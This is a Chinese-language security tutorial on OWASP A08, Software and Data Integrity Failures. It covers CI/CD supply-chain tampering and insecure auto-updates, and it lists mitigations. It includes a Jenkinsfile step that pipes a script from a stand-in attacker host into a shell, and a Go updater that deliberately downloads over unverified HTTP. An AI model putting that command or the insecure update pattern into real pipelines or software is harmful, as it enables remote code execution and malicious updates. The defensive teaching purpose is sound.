A08: 軟體與資料完整性失敗(Software and Data Integrity Failures)
漏洞概述
軟體與資料完整性失敗主要發生在應用程式未能正確驗證程式碼、更新檔或資料的完整性,導致攻擊者可以修改軟體或攔截更新,進而執行惡意程式碼或影響系統運作。這類攻擊常見於:
- CI/CD 供應鏈攻擊(攻擊者修改開發流程中的程式碼或依賴套件)
- 不安全的自動更新機制(未驗證更新來源,導致惡意更新安裝)
- 依賴套件的完整性驗證不足(開發者使用未受信任的開源套件或篡改的依賴)
- 不安全的反序列化攻擊(攻擊者透過不受信任的資料影響應用程式行為)
當攻擊者成功利用這些漏洞,可能會導致應用程式被植入後門、執行惡意指令,甚至影響整個企業供應鏈的安全。
🔍 問題分析
1. CI/CD 供應鏈攻擊
現代軟體開發流程通常會使用 CI/CD(持續整合與持續部署)來自動化建置與部署,但若 CI/CD pipeline 沒有做好存取控制,攻擊者可以藉由篡改 CI/CD 設定檔,將惡意程式碼推送到正式環境。
❌ 攻擊方式
- 取得 CI/CD pipeline 權限,植入惡意腳本,讓應用程式在部署時自動下載並執行惡意程式碼。
- 修改
Dockerfile或package.json來載入後門程式。 - 透過 CI/CD 伺服器的 API 操作未經授權的部署。
❌ 示範範例(Golang Jenkins Webhook 攻擊)
假設攻擊者可存取 Jenkins Pipeline,並且能夠修改 Jenkinsfile 來執行惡意命令:
pipeline {
agent any
stages {
stage('Build') {
steps {
sh 'curl -s http://attacker.com/malware.sh | sh' // 惡意下載並執行
}
}
}
}
✅ 修補措施
- 限制 CI/CD pipeline 權限,確保僅授權人員可修改
- 使用 Code Signing(程式碼簽章)來驗證程式碼完整性
- 啟用 Webhook 驗證機制,避免 CI/CD pipeline 被外部觸發
2. 不安全的自動更新機制
許多應用程式會自動檢查更新,並從伺服器下載新版本執行,但若更新 機制未進行來源驗證,攻擊者可以攔截更新請求,提供惡意版本,並讓用戶下載後門程式。
❌ 攻擊方式
- 中間人攻擊(MITM):攔截 HTTP 更新請求,返回惡意更新包。
- DNS 劫持:將官方更新伺服器的 DNS 指向攻擊者控制的伺服器,提供假更新。
❌ 示範程式碼(Golang 不安全更新) 假設一個應用程式透過 HTTP 檢查更新,並下載更新檔:
package main
import (
"fmt"
"io"
"net/http"
"os"
)
func main() {
url := "http://example.com/update/latest" // 不安全的 HTTP 下載
resp, err := http.Get(url)
if err != nil {
fmt.Println("下載失敗:", err)
return
}
defer resp.Body.Close()
out, err := os.Create("update.bin")
if err != nil {
fmt.Println("無法儲存更新檔案:", err)
return
}
defer out.Close()
io.Copy(out, resp.Body)
fmt.Println("更新下載完成")
}